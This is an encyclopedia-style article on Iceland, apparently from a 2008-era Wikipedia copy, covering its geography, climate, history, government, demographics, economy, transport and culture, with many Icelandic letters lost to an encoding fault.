            


            
              	Ukraine

              	2,122

              	0.01%
            


            
              	Slovenia

              	980

              	0.005%
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                  Location of Iceland (red) in Europe (white)
                

              
            


            
              	Capital

              (and largest city)

              	Reykjavk

            


            
              	Official languages

              	Icelandic
            


            
              	Demonym

              	Icelander
            


            
              	Government

              	Parliamentary republic
            


            
              	-

              	President

              	lafur Ragnar Grmsson
            


            
              	-

              	Prime Minister

              	Geir Haarde
            


            
              	-

              	Althing President

              	Sturla Bvarsson
            


            
              	Independence

              	from Denmark
            


            
              	-

              	Home rule

              	1 February 1904
            


            
              	-

              	Sovereignty

              	1 December 1918
            


            
              	-

              	Republic

              	17 June 1944
            


            
              	Area
            


            
              	-

              	Total

              	103,000km( 107th)

              39,770 sqmi
            


            
              	-

              	Water(%)

              	2.7
            


            
              	Population
            


            
              	-

              	April 2008estimate

              	316,2521( 172nd)
            


            
              	-

              	December 1980census

              	229,187
            


            
              	-

              	Density

              	3,1/km( 233th)

              7.5/sqmi
            


            
              	GDP( PPP)

              	2006estimate
            


            
              	-

              	Total

              	$12.172 billion( 132nd)
            


            
              	-

              	Per capita

              	$40,277 (2005)( 5th)
            


            
              	GDP (nominal)

              	2006estimate
            


            
              	-

              	Total

              	$16.579 billion( 93rd)
            


            
              	-

              	Per capita

              	$62,976( 4th)
            


            
              	HDI(2007)

              	▲ 0.968(high)( 1st)
            


            
              	Currency

              	Icelandic krna ( ISK)
            


            
              	Time zone

              	GMT ( UTC+0)
            


            
              	Internet TLD

              	.is
            


            
              	Calling code

              	+354
            


            
              	1

              	" Statistics Iceland:Key figures". www.statice.is ( 1 October 2007).
            

          


          Iceland, officially the Republic of Iceland ( Icelandic: sland or Lveldi sland ( names of Iceland); IPA: [ˈlivɛltɪ ˈistlant]) is a country in northern Europe, comprising the island of Iceland and its outlying islets in the North Atlantic Ocean between the rest of Europe and Greenland. It is the least populous of the Nordic countries and the second smallest; it has a population of about 316,000 ( April 1, 2008 estimate) and a total area of 103,000 km. Its capital and largest city is Reykjavk.


          Located on the Mid-Atlantic Ridge, Iceland is volcanically and geologically active on a large scale; this defines the landscape in various ways. The interior mainly consists of a plateau characterized by sand fields, mountains and glaciers, while many big glacial rivers flow to the sea through the lowlands. Warmed by the Gulf Stream, Iceland has a temperate climate relative to its latitude and provides a habitable environment and nature.


          The settlement of Iceland began in 874 when, according to Landnmabk, the Norwegian chieftain Inglfur Arnarson became the first permanent Norwegian settler on the island. Others had visited the island earlier and stayed over winter. Over the next centuries, people of Nordic and Gaelic origin settled in Iceland. Until the twentieth century, the Icelandic population relied on fisheries and agriculture, and was from 1262 to 1918 a part of the Norwegian and later the Danish monarchies. In the twentieth century, Iceland's economy and welfare system developed quickly. In recent decades, Iceland has seen economic reforms, free trade in the European Economic Area, and diversification from fishing to new economic fields in services, finance, and various industries.


          Today, Iceland has some of the world's highest levels of economic freedoms as well as civil freedoms. As of 2007, Iceland is the most developed country in the world with fellow Nordic country Norway according to the Human Development Index and one of the most egalitarian, according to the calculation provided by the Gini coefficient. It is also the fourth most productive country per capita. Icelanders have a rich culture and heritage, such as cuisine and poetry (thus the country itself has many names coined by poets). Iceland is a member of the UN, NATO, EFTA, EEA and OECD, but not of the European Union. The country is a candidate for a non-permanent seat at the UN Security Council.


          


          Geography


          


          Topography
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              Strokkur, a geyser in the process of erupting. Lying on the Mid-Atlantic Ridge, Iceland is one of the most geologically active areas on Earth.
            

          


          Iceland is located in the North Atlantic Ocean just south of the Arctic Circle, which passes through the small island of Grmsey off Iceland's northern coast, but not through mainland Iceland. Unlike neighbouring Greenland, Iceland is considered to be a part of Europe, not of North America, though geologically the island belongs to both continents. Because of cultural, economic and linguistic similarities, Iceland in many contexts is also included in Scandinavia. The closest bodies of land are Greenland (287 km) and the Faroe Islands (420 km). The closest distance to the mainland of Europe is 970 km (to Norway).


          
            [image: Iceland, as seen from space]

            
              Iceland, as seen from space
            

          


          
            [image: Iceland, as seen from space on January 29, 2004. Source: NASA]

            
              Iceland, as seen from space on January 29, 2004. Source: NASA
            

          


          Iceland is the world's 18th largest island, and Europe's second largest island following Great Britain. The country is 103,000 km (39,768.5 sqmi) in size, of which 62.7% is wasteland. Lakes and glaciers cover 14.3%; only 23% is vegetated. The largest lakes are risvatn ( Reservoir): 8388km (3234sqmi) and ingvallavatn: 82km (32sqmi); other important lakes include Lgurinn and Mvatn. skjuvatn is the deepest lake at 220 m (722 ft).
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              A map of Iceland with major towns marked.
            

          


          Many fjords punctuate its extensive coastline, which is also where most settlements are situated because the island's interior, the Highlands of Iceland, is a cold and uninhabitable combination of sand and mountains. The major towns are the capital Reykjavk, Kpavogur, Hafnarfjrur, Reykjanesbr, where the international airport is located, and Akureyri. The island of Grmsey on the Arctic Circle contains the northernmost habitation of Iceland.


          Iceland has four national parks: Jkulsrgljfur National Park, Skaftafell National Park, Snfellsjkull National Park, and ingvellir National Park.


          


          Geological activity


          A geologically young land, Iceland is located on both the Iceland hotspot and the Mid-Atlantic Ridge, which runs right through it. This combined location means that geologically the island is extremely active, having many volcanoes, notably Hekla, Eldgj, and Eldfell. The volcanic eruption of Laki in 17831784 caused a famine that killed nearly a quarter of the island's population; the eruption caused dust clouds and haze to appear over most of Europe and parts of Asia and Africa for several months after the eruption.


          There are also many geysers in Iceland, including Geysir, from which the English word is derived. With this widespread availability of geothermal power, and because many rivers and waterfalls are harnessed for hydroelectricity, most residents have hot water and home heat cheaply. The island itself is composed primarily of basalt, a low-silica lava associated with effusive volcanism like Hawaii. But Iceland has various kinds of volcanoes, many of which produce more evolved lavas such as rhyolite and andesite.


          
            [image: Dettifoss, the most powerful waterfall in Europe, is located in north-eastern Iceland.]

            
              Dettifoss, the most powerful waterfall in Europe, is located in north-eastern Iceland.
            

          


          Iceland controls Surtsey, one of the youngest islands in the world. It rose above the ocean in a series of volcanic eruptions between November 8, 1963 and June 5, 1968.


          


          Climate


          The climate of Iceland's coast is subpolar oceanic. The warm North Atlantic Current ensures generally higher annual temperatures than in most places of similar latitude in the world. The winters are mild and windy while the summers are damp and cool. Regions in the world with similar climate include the Aleutian Islands, Alaska Peninsula and Tierra del Fuego although these regions are closer to the equator. Despite its proximity to the Arctic, the island's coasts remain ice-free through the winter. Ice incursions are rare, the last having occurred on the north coast in 1969.


          There are some variations in the climate between different parts of the island. Very generally speaking, the south coast is warmer, wetter and windier than the north. Low-lying inland areas in the north are the most arid. Snowfall in winter is more common in the north than the south. The Central Highlands are the coldest part of the country.


          The highest air temperature recorded was 30.5C (86.9F) on 22 June 1939 at Teigarhorn on the south-eastern coast. The lowest was -38C (-36.4F) on 22 January 1918 at Grmsstair and Mrudalur in the northeast hinterland. The temperature records for Reykjavk are 24.8C (76.6F) on 11 August 2004, and -24.5C (-12.1F) on 21 January 1918.


          
            
              Mean daily maximum and minimum temperatures ( C) (19611990)
            

            
              	Location

              	Jan

              	Feb

              	Mar

              	Apr

              	May

              	Jun

              	Jul

              	Aug

              	Sep

              	Oct

              	Nov

              	Dec

              	

              	All
            


            
              	Reykjavk

              	1.9

              	2.8

              	3.2

              	5.7

              	9.4

              	11.7

              	13.3

              	13.0

              	10.1

              	6.8

              	3.4

              	2.2

              	High

              	7.0
            


            
              	-3.0

              	-2.1

              	-2.0

              	0.4

              	3.6

              	6.7

              	8.3

              	7.9

              	5.0

              	2.2

              	-1.3

              	-2.8

              	Low

              	1.9
            


            
              	Akureyri

              	0.9

              	1.7

              	2.1

              	5.4

              	9.5

              	13.2

              	14.5

              	13.9

              	9.9

              	5.9

              	2.6

              	1.3

              	High

              	6.7
            


            
              	-5.5

              	-4.7

              	-4.2

              	-1.5

              	2.3

              	6.0

              	7.5

              	7.1

              	3.5

              	0.4

              	-3.5

              	-5.1

              	Low

              	0.2
            

          


          


          Flora and fauna
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              An Icelandic sheep
            

          


          The short time since the last ice age, 10,000 years ago, has mostly prevented plants and animals from migrating to the island or evolving locally. There are around 1,300 known species of insects in Iceland, which is rather low compared with other countries (about 925,000 are known in the world). The only native land mammal when humans arrived was the arctic fox, which came to the island at the end of the ice age, walking over the frozen sea. There are no native reptiles or amphibians on the island.


          Phytogeographically, Iceland belongs to the Arctic province of the Circumboreal Region within the Boreal Kingdom. According to the WWF, the territory of Iceland belongs to the ecoregion of Iceland boreal birch forests and alpine tundra. Approximately three-quarters of the island are barren of vegetation; plant life consists mainly of grassland which is regularly grazed by livestock. The only tree native to Iceland is the northern birch Betula pubescens, which formerly formed forest over much of southern Iceland. Permanent human settlement greatly disturbed the isolated ecosystem of thin, volcanic soils and limited species diversity. The forests were heavily exploited over the centuries for firewood and timber. Deforestation caused a loss of critical topsoil due to erosion, greatly reducing the ability of birches to grow back. Today, only a few small birch stands exist in isolated reserves. The planting of new forests has increased the number of trees, but does not compare to the original forests. Some of the planted forests include new foreign species.


          The animals of Iceland include the Icelandic sheep, cattle, chicken, goat and the sturdy Icelandic horse. Many varieties of fish live in the ocean waters surrounding Iceland, and the fishing industry is a main contributor to Icelands economy, accounting for more than half of its total exports. Wild mammals include the arctic fox, mink, mice, rats, rabbits and reindeer. Before and around the 1900s polar bears occasionally visited the island, traveling on icebergs from Greenland. Birds, especially sea birds, are a very important part of Iceland's animal life. Puffins, skuas, and kittiwakes nest on its sea cliffs. Though Iceland no longer has a commercial whaling fleet (as of August, 2007) it still allows scientific whale hunts, which are not supported by the Scientific Committee of the International Whaling Commission (IWC).


          


          History


          
            [image: A 19th century depiction of a meeting of the Alþingi at Þingvellir.]

            
              A 19th century depiction of a meeting of the Alingi at ingvellir.
            

          


          


          Age of settlement


          The first people thought to have inhabited Iceland were Irish monks or hermits who came in the eighth century, but left with the arrival of Norsemen, who systematically settled Iceland in the period circa AD 870-930. The first known permanent Norse settler was Inglfur Arnarson, who built his homestead in Reykjavk in 874. Inglfur was followed by many other emigrant settlers, largely Norsemen and their Irish slaves. By 930, most arable land had been claimed and the Althing, a legislative and judiciary parliament, was founded as the political hub of the Icelandic Commonwealth. Christianity was adopted in 1000. The Commonwealth lasted until 1262, when the political system devised by the original settlers proved unable to cope with the increasing power of Icelandic chieftains.


          


          Middle Ages to the Early Modern Era


          The internal struggles and civil strife of the Sturlung Era led to the signing of the Old Covenant, which brought Iceland under the Norwegian crown. Possession of Iceland passed to Denmark-Norway in the late 14th century when the kingdoms of Norway and Denmark were united in the Kalmar Union. In the ensuing centuries, Iceland became one of the poorest countries in Europe. Infertile soil, volcanic eruptions, and an unforgiving climate made for harsh life in a society whose subsistence depended almost entirely on agriculture. The Black Death swept Iceland in 14021404 and 14941495, each time killing approximately half the population.


          
            [image: Jón Sigurðsson, leader of the Icelandic independence movement]

            
              Jn Sigursson, leader of the Icelandic independence movement
            

          


          Around the middle of the 16th century, King Christian III of Denmark began to impose Lutheranism on all his subjects. The last Catholic bishop in Iceland was beheaded in 1550, and the country subsequently became fully Lutheran. Lutheranism has since remained the dominant religion. In the 1600s and 1700s, Denmark imposed harsh trade restrictions on Iceland, while pirates from England, Spain and Algeria raided its coasts. A great smallpox epidemic in the 18th century killed around one-third of the population. In 1783 the Laki volcano erupted, with devastating effects. The years following the eruption, known as the Mist Hardships (Icelandic: Muharindin), saw the death of over half of all livestock in the country, with ensuing famine in which around a quarter of the population died.


          


          Independence and recent history


          In 1814, following the Napoleonic Wars, Denmark-Norway was broken up into two separate kingdoms via the Treaty of Kiel. Iceland remained a Danish dependency. A new independence movement arose under the leadership of Jn Sigursson, inspired by the romantic and nationalist ideologies of mainland Europe. In 1874, Denmark granted Iceland home rule, which was expanded in 1904. The Act of Union, an agreement with Denmark signed on December 1, 1918, recognized Iceland as a fully sovereign state under the Danish king. During the last quarter of the 19th century many Icelanders emigrated to North America, largely Canada, in search of better living conditions.


          Iceland during World War II joined Denmark in asserting neutrality. After the German occupation of Denmark on April 9, 1940, Iceland's parliament declared that the Icelandic government should assume the Danish king's authority and take control over foreign affairs and other matters previously handled by Denmark on behalf of Iceland. A month later, British military forces occupied Iceland, violating Icelandic neutrality. In 1941, responsibility for the occupation was taken over by the United States Army. Allied occupation of Iceland lasted throughout the war.


          On December 31, 1943 the Act of Union agreement expired after 25 years. Beginning on May 20, 1944, Icelanders voted in a four-day plebiscite on whether to terminate the union with Denmark and establish a republic. The vote was 97% in favor of ending the union and 95% in favour of the new republican constitution. Iceland formally became an independent republic on June 17, 1944, with Sveinn Bjrnsson as the first President. The Allied occupation force left in 1946. Iceland became a member of NATO on March 30, 1949, amid domestic controversy and riots and on May 5, 1951, a defense agreement was signed with the United States. American troops returned to Iceland and remained throughout the Cold War until autumn 2006.


          The immediate post-war period was followed by substantial economic growth, driven by industrialization of the fishing industry and Marshall aid and Keynesian government management of the economies of Europe, all of which promoted trade. The 1970s were marked by the Cod Wars several disputes with the United Kingdom over Iceland's extension of its fishing limits. The economy was greatly diversified and liberalized following Iceland's joining of the European Economic Area in 1992.


          


          Government


          Iceland is a representative democracy and a parliamentary republic. The modern parliament, called "Alingi" (English: Althing), was founded in 1845 as an advisory body to the Danish king. It was widely seen as a reestablishment of the assembly founded in 930 in the Commonwealth period and suspended in 1799. It currently has sixty-three members, each of whom is elected every four years.


          The president of Iceland is a largely ceremonial office that serves as a diplomat, figurehead and head of state, but who can also block a law voted by the parliament and put it to a national referendum. The current president is lafur Ragnar Grmsson. The head of government is the prime minister, who, together with the cabinet, takes care of the executive part of government. The cabinet is appointed by the president after general elections to Althing; however, this process is usually conducted by the leaders of the political parties, who decide among themselves after discussions which parties can form the cabinet and how its seats are to be distributed, under the condition that it has a majority support in Althing. Only when the party leaders are unable to reach a conclusion by themselves in reasonable time does the president exercise this power and appoint the cabinet himself. This has not happened since the republic was founded in 1944, but in 1942 the regent of the country ( Sveinn Bjrnsson, who had been installed in that position by the Althing in 1941) did appoint a non-parliamentary government. The regent had, for all practical purposes, the position of a president, and Sveinn in fact became the country's first president in 1944.


          
            [image: Stjórnarráðið, the seat of the executive branch]

            
              Stjrnarri, the seat of the executive branch
            

          


          The governments of Iceland have almost always been coalitions with two or more parties involved, due to the fact that no single political party has received a majority of seats in Althing in the republic period. The extent of the political powers possessed by the office of the president is disputed by legal scholars in Iceland; several provisions of the constitution appear to give the president some important powers but other provisions and traditions suggest differently. In 1980, Icelanders elected Vigds Finnbogadttir as president, the world's first directly elected female head of state. She retired from office in 1996.


          Elections for the office of town councils, parliament and presidency are each held every four years. The next elections are scheduled for 2010, 2011 and 2008, respectively.


          


          Subdivisions


          
            [image: The Althing in Reykjavík, with the cathedral on the left.]

            
              The Althing in Reykjavk, with the cathedral on the left.
            

          


          Iceland is divided into regions, constituencies, counties, and municipalities. There are eight regions which are primarily used for statistical purposes; the district court jurisdictions also use an older version of this division. Until 2003, the constituencies for the parliament elections were the same as the regions, but by an amendment to the constitution, they were changed to the current six constituencies:


          
            	
              
                	Reykjavk North and Reykjavk South (city regions);


                	Southwest (four geographically separate suburban areas around Reykjavk);


                	Northwest and Northeast (north half of Iceland, split); and,


                	South (south half of Iceland, excluding Reykjavk and suburbs).

              

            

          


          The redistricting change was made in order to balance the weight of different districts of the country, since a vote cast in the sparsely populated areas around the country would count much more than a vote cast in the Reykjavk city area. The imbalance between districts has been reduced by the new system, but still exists.


          Iceland's twenty-three counties are, for the most part, historical divisions. Currently, Iceland is split up among twenty-six magistrates ( sslumenn) that represent government in various capacities. Among their duties are tax collection, administering bankruptcy declarations, and performing civil marriages. After a police re-organization in 2007, which combined police forces in multiple counties, about half of them are in charge of police forces.


          There are seventy-nine municipalities in Iceland which govern local matters like schools, transportation and zoning. These are the actual second-level subdivisions of Iceland, as the constituencies have no relevance except in elections and for statistical purposes. Reykjavk is by far the most populous municipality, about four times more populous than Kpavogur, the second one.



          


          Politics


          Iceland has a left-right multi-party system. The biggest party is the right wing Independence Party (Sjlfstisflokkurinn), while the second largest one is the social democratic Alliance (Samfylkingin). Following the May 2007 parliamentary elections, these two formed a coalition, enjoying a strong majority in Althing, with 43 out of 63 members supporting it.


          Other political parties that have a seat in Althing are the centrist Progressive Party (Framsknarflokkurinn), which had been in government with the Independence Party for 12 years before the 2007 election, the Left-Green Movement (Vinstrihreyfingin - grnt frambo), founded in 1999, and the Centre-right Liberal Party. Many other parties exist on the municipal level, most of which only run locally in a single municipality.


          


          Foreign relations


          Iceland maintains diplomatic and commercial relations with practically all nations, but its ties with the Nordic countries, Germany, the US, and the other NATO nations are particularly close. Icelanders remain especially proud of the role Iceland played in hosting the historic 1986 Reagan-Gorbachev summit in Reykjavk, which set the stage for the end of the Cold War. Iceland's principal historical international disputes involved disagreements over fishing rights. Conflict with Britain led to a series of so-called Cod Wars in 1952-1956 as a result of the extension of Iceland's fishing zone from 3 to 4 nautical miles (6 to 7 km), 1958-1961 following a further extension to 12 nautical miles (22 km), 1972-1973 with another extension to 50nautical miles (93km) and in 1975-1976: another extension to 200 nautical miles (370 km).


          Iceland has no standing army. The U.S. Air Force maintained four to six Interceptors at the Keflavk base, until 30 September 2006 when they were withdrawn. Iceland supported the 2003 invasion of Iraq despite much controversy and condemnation in Iceland, deploying a Coast Guard EOD team to Iraq which was replaced later by members of the Icelandic Crisis Response Unit. Iceland has also participated in the ongoing conflict in Afghanistan and the 1999 bombing of Yugoslavia.


          


          Demographics


          
            
              Citizenship of Iceland residents (1.1.2008)
            

            
              	Total

              	313,376
            


            
              	Iceland

              	291,942
            


            
              	Poland

              	8,488
            


            
              	Lithuania

              	1,332
            


            
              	Germany

              	984
            


            
              	Denmark

              	966
            


            
              	Portugal

              	890
            


            
              	Philippines

              	743
            


            
              	Ex-Yugoslavia

              	651
            


            
              	United States

              	598
            


            
              	Thailand

              	545
            


            
              	Latvia

              	431
            


            
              	United Kingdom

              	420
            


            
              	Sweden

              	407
            


            
              	China (PRC)

              	379
            


            
              	Ex- Czechoslovakia

              	365
            


            
              	Norway

              	301
            


            
              	others

              	3,934
            


            
              	total (without Icelanders)

              	21,434
            

          


          The original population of Iceland was of Nordic and Celtic origin. This is evident from literary evidence dating from the settlement period as well as from later scientific studies such as blood type and genetic analyses. One such genetics study has indicated that the majority of the male settlers were of Nordic origin while the majority of the women were of Celtic origin.
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              Suburban Reykjavk. Over 60% of Icelanders live in the Reykjavk Metropolitan Area
            

          


          Iceland has extensive genealogical records dating back to the late 1600s and fragmentary records extending back to the Age of Settlement. The biopharmaceutical company deCODE Genetics has funded the creation of a genealogy database which attempts to cover all of Iceland's known inhabitants. It sees the database, called slendingabk, as a valuable tool for conducting research on genetic diseases, given the relative isolation of Iceland's population.


          The population of the island is believed to have varied from 40,000 to 60,000 in the period from initial settlement until the mid-19th century. During that time, cold winters, ashfall from volcanic eruptions, and bubonic plagues adversely affected the population several times. The first census was carried out in 1703 and revealed that the population was then 50,358. After the destructive volcanic eruptions of the Laki volcano during 17831784 the population reached a low of about 40,000. Improving living conditions have triggered a rapid increase in population since the mid-19th century - from about 60,000 in 1850 to 316,000 in 2008.


          In December 2007, 33,678 people (13.5% of the total population) who were living in Iceland had been born abroad, including children of Icelandic parents living abroad. 19,000 people (6% of the population) held foreign citizenship. Poles make up the far largest minority nationality (see table on the right for more details), and still form the bulk of the foreign workforce. About 9,000 Poles now live in Iceland, 1,500 of them in Reyarfjrur where they make up 75 percent of the workforce who are building the Fjararl aluminium plant. The recent surge in immigration has been credited to a labor shortage because of the booming economy while restrictions on the movement of people from the Eastern European countries that joined the EU/ EEA in 2004 have been lifted. Large-scale construction projects in the east of Iceland (see Krahnjkar Hydropower Project) have also brought in many people whose stay is expected to be temporary.


          The south-west corner of Iceland is the most densely populated region. It is also the location of the capital Reykjavk, the northernmost capital in the world. The largest towns outside the greater Reykjavk area are Akureyri and Reykjanesbr, although the latter is relatively close to the capital.


          [bookmark: 10_most_populous_towns_in_Iceland]


          10 most populous towns in Iceland


          List of ten most populous towns in Iceland. The population census is April 1, 2008 (estimate).


          
            	Reykjavk - 118,861


            	Kpavogur - 30,000


            	Hafnarfjrur - 25,107


            	Akureyri - 17,304


            	Reykjanesbr - 13,686


            	Garabr - 10.139


            	Mosfellsbr - 8,317


            	rborg - 7,693


            	Akranes - 6,419


            	Fjarabygg - 5,000

          


          


          Language


          Iceland's official written and spoken language is Icelandic, a North Germanic language descended from Old Norse. It has changed less from Old Norse than the other Nordic languages, has preserved more verb and noun inflection, and has to a considerable extent developed new vocabulary based on native roots rather than borrowings from English. It is the only living language to retain the runic letter . The closest living language to Icelandic is Faroese. In education, the use of Icelandic Sign Language for Iceland's deaf community is regulated by the National Curriculum Guide.


          English is widely spoken as a secondary language, and many Icelanders speak it at an almost native level. Danish is also widely understood. Studying both these languages is a mandatory part of the compulsory school curriculum. Other commonly spoken languages are German, Norwegian and Swedish. Danish is mostly spoken in a way largely comprehensible to Swedes and Norwegians it is often referred to as "Scandinavian" in Iceland.


          In addition to Icelandic, many immigrants speak their respective native languages.


          


          Religion


          
            [image: Hallgrímskirkja, Church of Hallgrímur, in Reykjavík, Iceland.]

            
              Hallgrmskirkja, Church of Hallgrmur, in Reykjavk, Iceland.
            

          


          Icelanders enjoy freedom of religion under the constitution, though there is no separation of church and state. The National Church of Iceland, a Lutheran body, is the state church. The national registry keeps account of the religious affiliation of every Icelandic citizen. In 2005, Icelanders divided into religious groups as follows:


          
            	82.1% members of the National Church of Iceland.


            	4.7% members of the Free Lutheran Churches of Reykjavk and Hafnarfjrur.


            	2.6% not members of any religious group.


            	2.4% members of the Roman Catholic Church, which has a Diocese of Reykjavk (see also Bishop of Reykjavik (Catholic))


            	5.5% members of unregistered religious organisations or with no specified religious affiliation

          


          The remaining 2.7% is mostly divided between around 2025 other Christian denominations and sects, and less than 1% are in non-Christian religious organisations. The largest non-Christian denomination is slenska satrarflagi, a neopagan group.


          Religious attendance is relatively low, as in other Nordic countries. The above statistics represent administrative membership of religious organizations and not the actual belief demographics of the population of Iceland.


          


          Economy and infrastructure
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              Akureyri is the largest town in Iceland outside of the greater Reykjavk area. Most rural towns are based on the fishing industry, which provides 40% of Iceland's export.
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          Iceland is the fourth most productive country in the world by nominal gross domestic product per capita (54,858 USD), and the fifth most productive by GDP at purchasing power parity (40,112 USD). Except for its abundant hydro-electric and geothermal power, Iceland lacks natural resources; historically its economy depended heavily on the fishing industry, which still provides almost 40% of export earnings and employs 8% of the work force. The economy is vulnerable to declining fish stocks and drops in world prices for its main material exports: fish and fish products, aluminium, and ferrosilicon. Although the Icelandic economy still relies heavily on fishing, its importance is diminishing as the travel industry and other service, technology and various other industries grow. Economic growth slowed from 2000 to 2002, but the economy expanded by 4.3% in 2003 and 6.2% in 2004. The unemployment rate of ~1.0% (2007 est.) is among the lowest in the European Economic Area.


          Although Iceland is a very developed country, it is still one of the most newly-industrialized ones in Europe. Until the 20th century, it was probably the poorest country in Western Europe. The fast economic growth that it has experienced in the last decades is only recently allowing for upgrading of infrastructure such as transportation. The government coalition plans to continue its generally neo-liberal policies of reducing the budget and current account deficits, limiting foreign borrowing, containing inflation, revising agricultural and fishing policies, diversifying the economy, and privatising state-owned industries. The government remains opposed to EU membership, primarily because of Icelanders' concern about losing control over their fishing resources.


          Iceland's economy has been diversifying into manufacturing and service industries in the last decade, including software production, biotechnology, and financial services. The tourism sector is expanding, with the recent trends in ecotourism and whale-watching. Iceland's agriculture industry consists mainly of potatoes, turnips, green vegetables (in greenhouses), mutton and dairy products. The financial centre is Borgartn in Reykjavik, hosting a large number of companies and three investment banks. Iceland's stock market, the Iceland Stock Exchange (ISE), was established in 1985.


          The primary currency of Iceland is the Icelandic Krna (ISK). Iceland's then foreign minister Valgerur Sverrisdttir said in an interview on 15 January 2007 that she seriously wished to look into whether Iceland can join the Euro without being a member of the EU. She believes it is difficult to maintain an independent currency in a small economy on the open European market. An extensive poll, released on 11 September 2007, by Capacent Gallup showed that 53% of respondents were in favour of adopting the euro, 37% opposed and 10% undecided.


          Iceland ranked 5th in the Index of Economic Freedom 2006 and 14th in 2008. Iceland has a flat tax system. The main personal income tax rate is a flat 22.75 percent and combined with municipal taxes the total tax rate is not more than 35.72%, and there are many deductions. The corporate tax rate is a flat 18 percent, one of the lowest in the world. Other taxes include a value-added tax and a net wealth tax. Employment regulations are relatively flexible. Property rights are strong and Iceland is one of the few countries where they are applied to fishery management. Taxpayers pay various subsidies to each other, similar to European countries with welfare state, but the spending is less than in most European countries. Despite low tax rates, overall taxation and consumption is still much higher than countries such as Ireland. According to OECD, agricultural support is the highest among OECD countries and an impediment to structural change. Also, health care and education spending have relatively poor return by OECD measures. OECD Economic survey of Iceland 2008 highlights Iceland's challenges in currency and macroeconomic policy.


          Iceland is the most developed society in the world, ranked first on the United Nations Human Development Index. Icelanders are the second longest-living nation with a life expectancy at birth of 81.8 years. Iceland is one of the most egalitarian countries in the world, according to the calculation provided by the Gini coefficient.


          


          Transportation
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          The social structure of Iceland is very dependent upon the personal automobile. Icelanders have one of the highest levels of cars per capita: on average one car per inhabitant older than 17 years. Most Icelanders travel by car to work, school or other activities.


          The main mode of transport in Iceland is road. Iceland has 13,034 km of administered roads, of which 4,617 km are paved and 8,338 km are not. Until the second half of the 20th century, Iceland could only afford to pave roads near the biggest towns. Today, roads are being improved throughout the country and freeways are being built in and around Reykjavk. Iceland currently has no railways.


          Route 1 or the Ring Road (Icelandic: jvegur 1 or Hringvegur) is a main road in Iceland that runs around the island and connects all inhabited parts (the interior of the island is uninhabited). The road is 1339 km long (840 miles). It has one lane in each direction, except near larger towns and cities and in the Hvalfjrur Tunnel where it has more lanes. Most smaller bridges on it are single lane and made of wood and/or steel. Most of the road's length is paved with asphalt, but some stretches in the east still have a gravel surface.


          The main hub for international transportation is Keflavk International Airport, which serves Reykjavk and the country in general. It is 48km (30mi) to the west of Reykjavk. Domestic and regional flights to Greenland and the Faroe Islands operate out of Reykjavk Airport, which lies in the city centre. There are 86 airport runways in Iceland; most of them are unpaved and located in rural areas.
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          Energy


          Renewable energy provides over 70% of the nation's primary energy. Over 99% of the country's electricity is produced from hydropower and geothermal energy, and the country expects to be energy-independent by 2050. Iceland's largest geothermal power plant is located in Nesjavellir, while the Krahnjkar dam will be the country's largest hydroelectric power plant.


          Yet, Icelanders still emit 10.0 tonnes of CO2 equivalent of greenhouse gasses per capita, higher than France or Spain. This is due to the wide use of personal transport. Iceland is the only country that has filling stations dispensing hydrogen fuel for cars powered by fuel cells. It is also one of only a few countries currently capable of producing hydrogen in adequate quantities at reasonable cost, because of Iceland's plentiful geothermal energy.
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          Education, science, and technology


          The Ministry of Education, Science and Culture is responsible for the policies and methods that schools must use, and they issue the National Curriculum Guidelines. However, the playschools and the primary and lower secondary schools are funded and administered by the municipalities.


          Nursery school or leikskli, is non-compulsory education for children younger than six years, and is the first step in the education system. The current legislation concerning playschools was passed in 1994. They are also responsible for ensuring that the curriculum is suitable so as to make the transition into compulsory education as easy as possible.


          Compulsory education, or grunnskli, comprises primary and lower secondary education, which often is conducted at the same institution. Education is mandatory by law for children aged from 6 to 16 years. The school year lasts nine months, and begins between 21 August and 1 September, ending between 31 May and 10 June. The minimum number of school days is 170, but after a new teachers wage contract, this will increase to 180. Lessons take place five days a week. The Programme for International Student Assessment, coordinated by the OECD, currently ranks the Icelandic secondary education as the 27th in the world, significantly below the OECD average.


          Upper secondary education or framhaldsskli follows lower secondary education. These schools are also known as gymnasia in English. It is not compulsory, but everyone who has had a compulsory education has the right to upper secondary education. This stage of education is governed by the Upper Secondary School Act of 1996. All schools in Iceland are mixed sex schools.


          Iceland is a very technologically advanced society. By 1999, 82.3% of Icelanders had access to a computer. Iceland also had 1,007 mobile phone subscriptions per 1,000 people in 2006, the 16th highest in the world.


          Iceland is home to European Mars Analog Research Station.


          


          Culture


          Icelandic culture has its roots in Norse traditions. Icelandic literature is popular, in particular the sagas and eddas which were written around the time of the islands settlement. Icelanders place relatively great importance on independence and self-sufficiency; in a European Commission public opinion analysis over 85% of Icelanders found independence to be "very important" contrasted with the EU25 average of 53%, and 47% for the Norwegians, and 49% for the Danes.


          Some traditional beliefs remain today; for example, some Icelanders either believe in elves or are unwilling to rule out their existence. Iceland ranks first on the Human Development Index, and was recently ranked the fourth happiest country in the world.
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          Iceland is liberal in terms of lesbian, gay bisexual and transgendered ( LGBT) matters. In 1996, Parliament passed legislation to create registered partnerships for same-sex couples, covering nearly all the rights and benefits of marriage. In 2006, by unanimous vote of Parliament, further legislation was passed, granting same-sex couples the same rights as different-sex couples in adoption, parenting and assisted insemination treatment.


          


          Literature and the arts
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          Iceland's best-known classical works of literature are the Icelanders' sagas, prose epics set in Iceland's age of settlement. The most famous of these include Njls saga, about an epic blood feud, and Grnlendinga saga and Eirks saga, describing the discovery and settlement of Greenland and Vinland (modern Newfoundland). Egils saga, Laxdla saga, Grettis saga, Gsla saga and Gunnlaugs saga ormstungu are also notable and popular Icelanders' sagas.


          A translation of the Bible was published in the 16th century. Important compositions since the 15th to the 19th century include sacred verse, most famously the Passuslmar of Hallgrmur Ptursson, and rmur, rhymed epic poems with alliterative verse that consist in two to four verses per stanza, popular until the end of the 19th century. In recent times, Iceland has produced many great writers, the best-known of which is arguably Halldr Laxness who received the Nobel Prize for Literature in 1955. Steinn Steinarr was an influential modernist poet.


          The distinctive rendition of the Icelandic landscape by its painters can be linked to nationalism and the movement to home rule and independence, which was very active in this period.


